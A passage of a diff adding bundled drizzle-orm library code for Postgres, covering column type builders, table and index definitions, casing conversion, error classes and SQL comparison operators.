this.config.scale = scale; + } + /** @internal */ + build(table2) { + return new PgNumericBigInt( + table2, + this.config + ); + } +}; +var PgNumericBigInt = class extends PgColumn { + static [entityKind] = "PgNumericBigInt"; + precision; + scale; + constructor(table2, config2) { + super(table2, config2); + this.precision = config2.precision; + this.scale = config2.scale; + } + mapFromDriverValue = BigInt; + mapToDriverValue = String; + getSQLType() { + if (this.precision !== void 0 && this.scale !== void 0) { + return `numeric(${this.precision}, ${this.scale})`; + } else if (this.precision === void 0) { + return "numeric"; + } else { + return `numeric(${this.precision})`; + } + } +}; +function numeric(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + const mode = config2?.mode; + return mode === "number" ? new PgNumericNumberBuilder(name, config2?.precision, config2?.scale) : mode === "bigint" ? new PgNumericBigIntBuilder(name, config2?.precision, config2?.scale) : new PgNumericBuilder(name, config2?.precision, config2?.scale); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/point.js +var PgPointTupleBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgPointTupleBuilder"; + constructor(name) { + super(name, "array", "PgPointTuple"); + } + /** @internal */ + build(table2) { + return new PgPointTuple( + table2, + this.config + ); + } +}; +var PgPointTuple = class extends PgColumn { + static [entityKind] = "PgPointTuple"; + getSQLType() { + return "point"; + } + mapFromDriverValue(value) { + if (typeof value === "string") { + const [x, y] = value.slice(1, -1).split(","); + return [Number.parseFloat(x), Number.parseFloat(y)]; + } + return [value.x, value.y]; + } + mapToDriverValue(value) { + return `(${value[0]},${value[1]})`; + } +}; +var PgPointObjectBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgPointObjectBuilder"; + constructor(name) { + super(name, "json", "PgPointObject"); + } + /** @internal */ + build(table2) { + return new PgPointObject( + table2, + this.config + ); + } +}; +var PgPointObject = class extends PgColumn { + static [entityKind] = "PgPointObject"; + getSQLType() { + return "point"; + } + mapFromDriverValue(value) { + if (typeof value === "string") { + const [x, y] = value.slice(1, -1).split(","); + return { x: Number.parseFloat(x), y: Number.parseFloat(y) }; + } + return value; + } + mapToDriverValue(value) { + return `(${value.x},${value.y})`; + } +}; +function point(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (!config2?.mode || config2.mode === "tuple") { + return new PgPointTupleBuilder(name); + } + return new PgPointObjectBuilder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/postgis_extension/utils.js +function hexToBytes(hex3) { + const bytes = []; + for (let c = 0; c < hex3.length; c += 2) { + bytes.push(Number.parseInt(hex3.slice(c, c + 2), 16)); + } + return new Uint8Array(bytes); +} +function bytesToFloat64(bytes, offset) { + const buffer2 = new ArrayBuffer(8); + const view = new DataView(buffer2); + for (let i = 0; i < 8; i++) { + view.setUint8(i, bytes[offset + i]); + } + return view.getFloat64(0, true); +} +function parseEWKB(hex3) { + const bytes = hexToBytes(hex3); + let offset = 0; + const byteOrder = bytes[offset]; + offset += 1; + const view = new DataView(bytes.buffer); + const geomType = view.getUint32(offset, byteOrder === 1); + offset += 4; + let _srid; + if (geomType & 536870912) { + _srid = view.getUint32(offset, byteOrder === 1); + offset += 4; + } + if ((geomType & 65535) === 1) { + const x = bytesToFloat64(bytes, offset); + offset += 8; + const y = bytesToFloat64(bytes, offset); + offset += 8; + return [x, y]; + } + throw new Error("Unsupported geometry type"); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/postgis_extension/geometry.js +var PgGeometryBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgGeometryBuilder"; + constructor(name) { + super(name, "array", "PgGeometry"); + } + /** @internal */ + build(table2) { + return new PgGeometry( + table2, + this.config + ); + } +}; +var PgGeometry = class extends PgColumn { + static [entityKind] = "PgGeometry"; + getSQLType() { + return "geometry(point)"; + } + mapFromDriverValue(value) { + return parseEWKB(value); + } + mapToDriverValue(value) { + return `point(${value[0]} ${value[1]})`; + } +}; +var PgGeometryObjectBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgGeometryObjectBuilder"; + constructor(name) { + super(name, "json", "PgGeometryObject"); + } + /** @internal */ + build(table2) { + return new PgGeometryObject( + table2, + this.config + ); + } +}; +var PgGeometryObject = class extends PgColumn { + static [entityKind] = "PgGeometryObject"; + getSQLType() { + return "geometry(point)"; + } + mapFromDriverValue(value) { + const parsed = parseEWKB(value); + return { x: parsed[0], y: parsed[1] }; + } + mapToDriverValue(value) { + return `point(${value.x} ${value.y})`; + } +}; +function geometry(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (!config2?.mode || config2.mode === "tuple") { + return new PgGeometryBuilder(name); + } + return new PgGeometryObjectBuilder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/real.js +var PgRealBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgRealBuilder"; + constructor(name, length) { + super(name, "number", "PgReal"); + this.config.length = length; + } + /** @internal */ + build(table2) { + return new PgReal(table2, this.config); + } +}; +var PgReal = class extends PgColumn { + static [entityKind] = "PgReal"; + constructor(table2, config2) { + super(table2, config2); + } + getSQLType() { + return "real"; + } + mapFromDriverValue = (value) => { + if (typeof value === "string") { + return Number.parseFloat(value); + } + return value; + }; +}; +function real(name) { + return new PgRealBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/serial.js +var PgSerialBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgSerialBuilder"; + constructor(name) { + super(name, "number", "PgSerial"); + this.config.hasDefault = true; + this.config.notNull = true; + } + /** @internal */ + build(table2) { + return new PgSerial(table2, this.config); + } +}; +var PgSerial = class extends PgColumn { + static [entityKind] = "PgSerial"; + getSQLType() { + return "serial"; + } +}; +function serial(name) { + return new PgSerialBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/smallint.js +var PgSmallIntBuilder = class extends PgIntColumnBaseBuilder { + static [entityKind] = "PgSmallIntBuilder"; + constructor(name) { + super(name, "number", "PgSmallInt"); + } + /** @internal */ + build(table2) { + return new PgSmallInt(table2, this.config); + } +}; +var PgSmallInt = class extends PgColumn { + static [entityKind] = "PgSmallInt"; + getSQLType() { + return "smallint"; + } + mapFromDriverValue = (value) => { + if (typeof value === "string") { + return Number(value); + } + return value; + }; +}; +function smallint(name) { + return new PgSmallIntBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/smallserial.js +var PgSmallSerialBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgSmallSerialBuilder"; + constructor(name) { + super(name, "number", "PgSmallSerial"); + this.config.hasDefault = true; + this.config.notNull = true; + } + /** @internal */ + build(table2) { + return new PgSmallSerial( + table2, + this.config + ); + } +}; +var PgSmallSerial = class extends PgColumn { + static [entityKind] = "PgSmallSerial"; + getSQLType() { + return "smallserial"; + } +}; +function smallserial(name) { + return new PgSmallSerialBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/text.js +var PgTextBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgTextBuilder"; + constructor(name, config2) { + super(name, "string", "PgText"); + this.config.enumValues = config2.enum; + } + /** @internal */ + build(table2) { + return new PgText(table2, this.config); + } +}; +var PgText = class extends PgColumn { + static [entityKind] = "PgText"; + enumValues = this.config.enumValues; + getSQLType() { + return "text"; + } +}; +function text(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgTextBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/time.js +var PgTimeBuilder = class extends PgDateColumnBaseBuilder { + constructor(name, withTimezone, precision) { + super(name, "string", "PgTime"); + this.withTimezone = withTimezone; + this.precision = precision; + this.config.withTimezone = withTimezone; + this.config.precision = precision; + } + static [entityKind] = "PgTimeBuilder"; + /** @internal */ + build(table2) { + return new PgTime(table2, this.config); + } +}; +var PgTime = class extends PgColumn { + static [entityKind] = "PgTime"; + withTimezone; + precision; + constructor(table2, config2) { + super(table2, config2); + this.withTimezone = config2.withTimezone; + this.precision = config2.precision; + } + getSQLType() { + const precision = this.precision === void 0 ? "" : `(${this.precision})`; + return `time${precision}${this.withTimezone ? " with time zone" : ""}`; + } +}; +function time3(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgTimeBuilder(name, config2.withTimezone ?? false, config2.precision); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/timestamp.js +var PgTimestampBuilder = class extends PgDateColumnBaseBuilder { + static [entityKind] = "PgTimestampBuilder"; + constructor(name, withTimezone, precision) { + super(name, "date", "PgTimestamp"); + this.config.withTimezone = withTimezone; + this.config.precision = precision; + } + /** @internal */ + build(table2) { + return new PgTimestamp(table2, this.config); + } +}; +var PgTimestamp = class extends PgColumn { + static [entityKind] = "PgTimestamp"; + withTimezone; + precision; + constructor(table2, config2) { + super(table2, config2); + this.withTimezone = config2.withTimezone; + this.precision = config2.precision; + } + getSQLType() { + const precision = this.precision === void 0 ? "" : ` (${this.precision})`; + return `timestamp${precision}${this.withTimezone ? " with time zone" : ""}`; + } + mapFromDriverValue(value) { + if (typeof value === "string") return new Date(this.withTimezone ? value : value + "+0000"); + return value; + } + mapToDriverValue = (value) => { + return value.toISOString(); + }; +}; +var PgTimestampStringBuilder = class extends PgDateColumnBaseBuilder { + static [entityKind] = "PgTimestampStringBuilder"; + constructor(name, withTimezone, precision) { + super(name, "string", "PgTimestampString"); + this.config.withTimezone = withTimezone; + this.config.precision = precision; + } + /** @internal */ + build(table2) { + return new PgTimestampString( + table2, + this.config + ); + } +}; +var PgTimestampString = class extends PgColumn { + static [entityKind] = "PgTimestampString"; + withTimezone; + precision; + constructor(table2, config2) { + super(table2, config2); + this.withTimezone = config2.withTimezone; + this.precision = config2.precision; + } + getSQLType() { + const precision = this.precision === void 0 ? "" : `(${this.precision})`; + return `timestamp${precision}${this.withTimezone ? " with time zone" : ""}`; + } + mapFromDriverValue(value) { + if (typeof value === "string") return value; + const shortened = value.toISOString().slice(0, -1).replace("T", " "); + if (this.withTimezone) { + const offset = value.getTimezoneOffset(); + const sign = offset <= 0 ? "+" : "-"; + return `${shortened}${sign}${Math.floor(Math.abs(offset) / 60).toString().padStart(2, "0")}`; + } + return shortened; + } +}; +function timestamp(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (config2?.mode === "string") { + return new PgTimestampStringBuilder(name, config2.withTimezone ?? false, config2.precision); + } + return new PgTimestampBuilder(name, config2?.withTimezone ?? false, config2?.precision); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/uuid.js +var PgUUIDBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgUUIDBuilder"; + constructor(name) { + super(name, "string", "PgUUID"); + } + /** + * Adds `default gen_random_uuid()` to the column definition. + */ + defaultRandom() { + return this.default(sql`gen_random_uuid()`); + } + /** @internal */ + build(table2) { + return new PgUUID(table2, this.config); + } +}; +var PgUUID = class extends PgColumn { + static [entityKind] = "PgUUID"; + getSQLType() { + return "uuid"; + } +}; +function uuid3(name) { + return new PgUUIDBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/varchar.js +var PgVarcharBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgVarcharBuilder"; + constructor(name, config2) { + super(name, "string", "PgVarchar"); + this.config.length = config2.length; + this.config.enumValues = config2.enum; + } + /** @internal */ + build(table2) { + return new PgVarchar( + table2, + this.config + ); + } +}; +var PgVarchar = class extends PgColumn { + static [entityKind] = "PgVarchar"; + length = this.config.length; + enumValues = this.config.enumValues; + getSQLType() { + return this.length === void 0 ? `varchar` : `varchar(${this.length})`; + } +}; +function varchar(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgVarcharBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/vector_extension/bit.js +var PgBinaryVectorBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgBinaryVectorBuilder"; + constructor(name, config2) { + super(name, "string", "PgBinaryVector"); + this.config.dimensions = config2.dimensions; + } + /** @internal */ + build(table2) { + return new PgBinaryVector( + table2, + this.config + ); + } +}; +var PgBinaryVector = class extends PgColumn { + static [entityKind] = "PgBinaryVector"; + dimensions = this.config.dimensions; + getSQLType() { + return `bit(${this.dimensions})`; + } +}; +function bit(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgBinaryVectorBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/vector_extension/halfvec.js +var PgHalfVectorBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgHalfVectorBuilder"; + constructor(name, config2) { + super(name, "array", "PgHalfVector"); + this.config.dimensions = config2.dimensions; + } + /** @internal */ + build(table2) { + return new PgHalfVector( + table2, + this.config + ); + } +}; +var PgHalfVector = class extends PgColumn { + static [entityKind] = "PgHalfVector"; + dimensions = this.config.dimensions; + getSQLType() { + return `halfvec(${this.dimensions})`; + } + mapToDriverValue(value) { + return JSON.stringify(value); + } + mapFromDriverValue(value) { + return value.slice(1, -1).split(",").map((v) => Number.parseFloat(v)); + } +}; +function halfvec(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgHalfVectorBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/vector_extension/sparsevec.js +var PgSparseVectorBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgSparseVectorBuilder"; + constructor(name, config2) { + super(name, "string", "PgSparseVector"); + this.config.dimensions = config2.dimensions; + } + /** @internal */ + build(table2) { + return new PgSparseVector( + table2, + this.config + ); + } +}; +var PgSparseVector = class extends PgColumn { + static [entityKind] = "PgSparseVector"; + dimensions = this.config.dimensions; + getSQLType() { + return `sparsevec(${this.dimensions})`; + } +}; +function sparsevec(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgSparseVectorBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/vector_extension/vector.js +var PgVectorBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgVectorBuilder"; + constructor(name, config2) { + super(name, "array", "PgVector"); + this.config.dimensions = config2.dimensions; + } + /** @internal */ + build(table2) { + return new PgVector( + table2, + this.config + ); + } +}; +var PgVector = class extends PgColumn { + static [entityKind] = "PgVector"; + dimensions = this.config.dimensions; + getSQLType() { + return `vector(${this.dimensions})`; + } + mapToDriverValue(value) { + return JSON.stringify(value); + } + mapFromDriverValue(value) { + return value.slice(1, -1).split(",").map((v) => Number.parseFloat(v)); + } +}; +function vector(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgVectorBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/all.js +function getPgColumnBuilders() { + return { + bigint: bigint4, + bigserial, + boolean: boolean4, + char, + cidr, + customType, + date: date5, + doublePrecision, + inet, + integer: integer2, + interval, + json: json2, + jsonb, + line, + macaddr, + macaddr8, + numeric, + point, + geometry, + real, + serial, + smallint, + smallserial, + text, + time: time3, + timestamp, + uuid: uuid3, + varchar, + bit, + halfvec, + sparsevec, + vector + }; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/table.js +var InlineForeignKeys = Symbol.for("drizzle:PgInlineForeignKeys"); +var EnableRLS = Symbol.for("drizzle:EnableRLS"); +var PgTable = class extends Table { + static [entityKind] = "PgTable"; + /** @internal */ + static Symbol = Object.assign({}, Table.Symbol, { + InlineForeignKeys, + EnableRLS + }); + /**@internal */ + [InlineForeignKeys] = []; + /** @internal */ + [EnableRLS] = false; + /** @internal */ + [Table.Symbol.ExtraConfigBuilder] = void 0; + /** @internal */ + [Table.Symbol.ExtraConfigColumns] = {}; +}; +function pgTableWithSchema(name, columns, extraConfig, schema, baseName = name) { + const rawTable = new PgTable(name, schema, baseName); + const parsedColumns = typeof columns === "function" ? columns(getPgColumnBuilders()) : columns; + const builtColumns = Object.fromEntries( + Object.entries(parsedColumns).map(([name2, colBuilderBase]) => { + const colBuilder = colBuilderBase; + colBuilder.setName(name2); + const column = colBuilder.build(rawTable); + rawTable[InlineForeignKeys].push(...colBuilder.buildForeignKeys(column, rawTable)); + return [name2, column]; + }) + ); + const builtColumnsForExtraConfig = Object.fromEntries( + Object.entries(parsedColumns).map(([name2, colBuilderBase]) => { + const colBuilder = colBuilderBase; + colBuilder.setName(name2); + const column = colBuilder.buildExtraConfigColumn(rawTable); + return [name2, column]; + }) + ); + const table2 = Object.assign(rawTable, builtColumns); + table2[Table.Symbol.Columns] = builtColumns; + table2[Table.Symbol.ExtraConfigColumns] = builtColumnsForExtraConfig; + if (extraConfig) { + table2[PgTable.Symbol.ExtraConfigBuilder] = extraConfig; + } + return Object.assign(table2, { + enableRLS: () => { + table2[PgTable.Symbol.EnableRLS] = true; + return table2; + } + }); +} +var pgTable = (name, columns, extraConfig) => { + return pgTableWithSchema(name, columns, extraConfig, void 0); +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js +var IndexBuilderOn = class { + constructor(unique, name) { + this.unique = unique; + this.name = name; + } + static [entityKind] = "PgIndexBuilderOn"; + on(...columns) { + return new IndexBuilder( + columns.map((it) => { + if (is(it, SQL)) { + return it; + } + it = it; + const clonedIndexedColumn = new IndexedColumn(it.name, !!it.keyAsName, it.columnType, it.indexConfig); + it.indexConfig = JSON.parse(JSON.stringify(it.defaultConfig)); + return clonedIndexedColumn; + }), + this.unique, + false, + this.name + ); + } + onOnly(...columns) { + return new IndexBuilder( + columns.map((it) => { + if (is(it, SQL)) { + return it; + } + it = it; + const clonedIndexedColumn = new IndexedColumn(it.name, !!it.keyAsName, it.columnType, it.indexConfig); + it.indexConfig = it.defaultConfig; + return clonedIndexedColumn; + }), + this.unique, + true, + this.name + ); + } + /** + * Specify what index method to use. Choices are `btree`, `hash`, `gist`, `spgist`, `gin`, `brin`, or user-installed access methods like `bloom`. The default method is `btree. + * + * If you have the `pg_vector` extension installed in your database, you can use the `hnsw` and `ivfflat` options, which are predefined types. + * + * **You can always specify any string you want in the method, in case Drizzle doesn't have it natively in its types** + * + * @param method The name of the index method to be used + * @param columns + * @returns + */ + using(method, ...columns) { + return new IndexBuilder( + columns.map((it) => { + if (is(it, SQL)) { + return it; + } + it = it; + const clonedIndexedColumn = new IndexedColumn(it.name, !!it.keyAsName, it.columnType, it.indexConfig); + it.indexConfig = JSON.parse(JSON.stringify(it.defaultConfig)); + return clonedIndexedColumn; + }), + this.unique, + true, + this.name, + method + ); + } +}; +var IndexBuilder = class { + static [entityKind] = "PgIndexBuilder"; + /** @internal */ + config; + constructor(columns, unique, only, name, method = "btree") { + this.config = { + name, + columns, + unique, + only, + method + }; + } + concurrently() { + this.config.concurrently = true; + return this; + } + with(obj) { + this.config.with = obj; + return this; + } + where(condition) { + this.config.where = condition; + return this; + } + /** @internal */ + build(table2) { + return new Index(this.config, table2); + } +}; +var Index = class { + static [entityKind] = "PgIndex"; + config; + constructor(config2, table2) { + this.config = { ...config2, table: table2 }; + } +}; +function index(name) { + return new IndexBuilderOn(false, name); +} +function uniqueIndex(name) { + return new IndexBuilderOn(true, name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/primary-keys.js +function primaryKey(...config2) { + if (config2[0].columns) { + return new PrimaryKeyBuilder(config2[0].columns, config2[0].name); + } + return new PrimaryKeyBuilder(config2); +} +var PrimaryKeyBuilder = class { + static [entityKind] = "PgPrimaryKeyBuilder"; + /** @internal */ + columns; + /** @internal */ + name; + constructor(columns, name) { + this.columns = columns; + this.name = name; + } + /** @internal */ + build(table2) { + return new PrimaryKey(table2, this.columns, this.name); + } +}; +var PrimaryKey = class { + constructor(table2, columns, name) { + this.table = table2; + this.columns = columns; + this.name = name; + } + static [entityKind] = "PgPrimaryKey"; + columns; + name; + getName() { + return this.name ?? `${this.table[PgTable.Symbol.Name]}_${this.columns.map((column) => column.name).join("_")}_pk`; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js +function toSnakeCase(input) { + const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; + return words.map((word) => word.toLowerCase()).join("_"); +} +function toCamelCase(input) { + const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; + return words.reduce((acc, word, i) => { + const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; + return acc + formattedWord; + }, ""); +} +function noopCase(input) { + return input; +} +var CasingCache = class { + static [entityKind] = "CasingCache"; + /** @internal */ + cache = {}; + cachedTables = {}; + convert; + constructor(casing) { + this.convert = casing === "snake_case" ? toSnakeCase : casing === "camelCase" ? toCamelCase : noopCase; + } + getColumnCasing(column) { + if (!column.keyAsName) return column.name; + const schema = column.table[Table.Symbol.Schema] ?? "public"; + const tableName = column.table[Table.Symbol.OriginalName]; + const key = `${schema}.${tableName}.${column.name}`; + if (!this.cache[key]) { + this.cacheTable(column.table); + } + return this.cache[key]; + } + cacheTable(table2) { + const schema = table2[Table.Symbol.Schema] ?? "public"; + const tableName = table2[Table.Symbol.OriginalName]; + const tableKey = `${schema}.${tableName}`; + if (!this.cachedTables[tableKey]) { + for (const column of Object.values(table2[Table.Symbol.Columns])) { + const columnKey = `${tableKey}.${column.name}`; + this.cache[columnKey] = this.convert(column.name); + } + this.cachedTables[tableKey] = true; + } + } + clearCache() { + this.cache = {}; + this.cachedTables = {}; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/errors.js +var DrizzleError = class extends Error { + static [entityKind] = "DrizzleError"; + constructor({ message: message2, cause }) { + super(message2); + this.name = "DrizzleError"; + this.cause = cause; + } +}; +var DrizzleQueryError = class _DrizzleQueryError extends Error { + constructor(query, params, cause) { + super(`Failed query: ${query} +params: ${params}`); + this.query = query; + this.params = params; + this.cause = cause; + Error.captureStackTrace(this, _DrizzleQueryError); + if (cause) this.cause = cause; + } +}; +var TransactionRollbackError = class extends DrizzleError { + static [entityKind] = "TransactionRollbackError"; + constructor() { + super({ message: "Rollback" }); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/sql/expressions/conditions.js +function bindIfParam(value, column) { + if (isDriverValueEncoder(column) && !isSQLWrapper(value) && !is(value, Param) && !is(value, Placeholder) && !is(value, Column) && !is(value, Table) && !is(value, View)) { + return new Param(value, column); + } + return value; +} +var eq = (left, right) => { + return sql`${left} = ${bindIfParam(right, left)}`; +}; +var ne = (left, right) => { + return sql`${left} <> ${bindIfParam(right, left)}`; +}; +function and(...unfilteredConditions) { + const conditions = unfilteredConditions.filter( + (c) => c !== void 0 + ); + if (conditions.length === 0) { + return void 0; + } + if (conditions.length === 1) { + return new SQL(conditions); + } + return new SQL([ + new StringChunk("("), + sql.join(conditions, new StringChunk(" and ")), + new StringChunk(")") + ]); +} +function or(...unfilteredConditions) { + const conditions = unfilteredConditions.filter( + (c) => c !== void 0 + ); + if (conditions.length === 0) { + return void 0; + } + if (conditions.length === 1) { + return new SQL(conditions); + } + return new SQL([ + new StringChunk("("), + sql.join(conditions, new StringChunk(" or ")), + new StringChunk(")") + ]); +} +function not(condition) { + return sql`not ${condition}`; +} +var gt = (left, right) => { + return sql`${left} > ${bindIfParam(right, left)}`; +}; +var gte = (left, right) => { + return sql`${left} >= ${bindIfParam(right, left)}`; +}; +var lt = (left, right) => { + return sql`${left} < ${bindIfParam(right, left)}`; +}; +var lte = (left, right) => { + return sql`${left} <= ${bindIfParam(right, left)}`; +}; +function inArray(column, values2) { + if (Array.isArray(values2)) { + if (values2.length === 0) { + return sql`false`; + } + return sql`${column} in ${values2.map((v) => bindIfParam(v, column))}`; + } + return sql`${column} in ${bindIfParam(values2, column)}`; +} +function notInArray(column, values2) { + if (Array.isArray(values2)) { + if (values2.length === 0) { + return sql`true`; + } + return sql`${column} not in ${values2.map((v) => bindIfParam(v, column))}`; + } + return sql`${column} not in ${bindIfParam(values2, column)}`; +} +function isNull(value) { + return sql`${value} is null`; +} +function isNotNull(value) { + return sql`${value} is not null`; +} +function exists(subquery) { + return sql`exists ${subquery}`; +} +function notExists(subquery) { + return sql`not exists ${subquery}`; +} +function between(column, min, max) { + return sql`${column} between ${bindIfParam(min, column)} and ${bindIfParam( + max, + column + )}`; +} +function notBetween(column, min, max) { + return sql`${column} not between ${bindIfParam( + min, + column + )} and ${bindIfParam(max, column)}`; +} +function like(column, value) { + return sql`${column} like ${value}`; +} +function notLike(column, value) { + return sql`${column} not like ${value}`; +} +function ilike(column, value) { + return sql`${column} ilike ${value}`; +} +function notIlike(column, value) { + return sql`${column} not ilike ${value}`; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/sql/expressions/select.js +function asc(column) { + return sql`${column} asc`; +} +function desc(column) { + return sql`${column} desc`; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/relations.js +var Relation = class { + constructor(sourceTable, referencedTable, relationName) { + this.sourceTable = sourceTable; + this.referencedTable = referencedTable; + this.relationName = relationName; + this.referencedTableName = referencedTable[Table.Symbol.Name]; + } + static [entityKind] = "Relation"; + referencedTableName; + fieldName; +}; +var Relations = class { + constructor(table2, config2) { + this.table = table2; + this.config = config2; + } + static [entityKind] = "Relations"; +}; +var One = class _One extends Relation { + constructor(sourceTable, referencedTable, config2, isNullable) { + super(sourceTable, referencedTable, config2?.relationName); + this.config = config2; + this.isNullable = isNullable; + } + static [entityKind] = "One"; + withFieldName(fieldName) { + const relation = new _One( + this.sourceTable, + this.referencedTable, + this.config, + this.isNullable + ); + relation.fieldName = fieldName; + return relation; + } +}; +var Many = class _Many extends Relation { + constructor(sourceTable, referencedTable, config2) { + super(sourceTable, referencedTable, config2?.relationName); + this.config = config2; + } + static [entityKind] = "Many"; + withFieldName(fieldName) { + const relation = new _Many( + this.sourceTable, + this.referencedTable, + this.config + ); + relation.fieldName = fieldName; + return relation; + } +}; +function getOperators() { + return { + and, + between, + eq, + exists, + gt, + gte, + ilike, + inArray, + isNull, + isNotNull, + like, + lt, + lte, + ne, + not, + notBetween, + notExists, + notLike, + notIlike, + notInArray, + or, + sql + }; +} +function getOrderByOperators() { + return { + sql, + asc, + desc + }; +} +function extractTablesRelationalConfig(schema, configHelpers) { + if (Object.keys(schema).length === 1 && "default" in schema && !is(schema["default"], Table)) { + schema = schema["default"]; + } + const tableNamesMap = {}; + const relationsBuffer = {}; + const tablesConfig = {}; + for (const [key, value] of Object.entries(schema)) { + if (is(value, Table)) { + const dbName = getTableUniqueName(value); + const bufferedRelations = relationsBuffer[dbName]; + tableNamesMap[dbName] = key; + tablesConfig[key] = { + tsName: key, + dbName: value[Table.Symbol.Name], + schema: value[Table.Symbol.Schema], + columns: value[Table.Symbol.Columns], + relations: bufferedRelations?.relations ?? {}, + primaryKey: bufferedRelations?.primaryKey ?? [] + }; + for (const column of Object.values( + value[Table.Symbol.Columns] + )) { + if (column.primary) { + tablesConfig[key].primaryKey.push(column); + } + } + const extraConfig = value[Table.Symbol.ExtraConfigBuilder]?.(value[Table.Symbol.ExtraConfigColumns]); + if (extraConfig) { + for (const configEntry of Object.values(extraConfig)) { + if (is(configEntry, PrimaryKeyBuilder)) { + tablesConfig[key].primaryKey.push(...configEntry.columns); + } + } + } + } else if (is(value, Relations)) { + const dbName = getTableUniqueName(value.table); + const tableName = tableNamesMap[dbName]; + const relations2 = value.config( + configHelpers(value.table) + ); + let primaryKey2; + for (const [relationName, relation] of Object.entries(relations2)) { + if (tableName) { + const tableConfig = 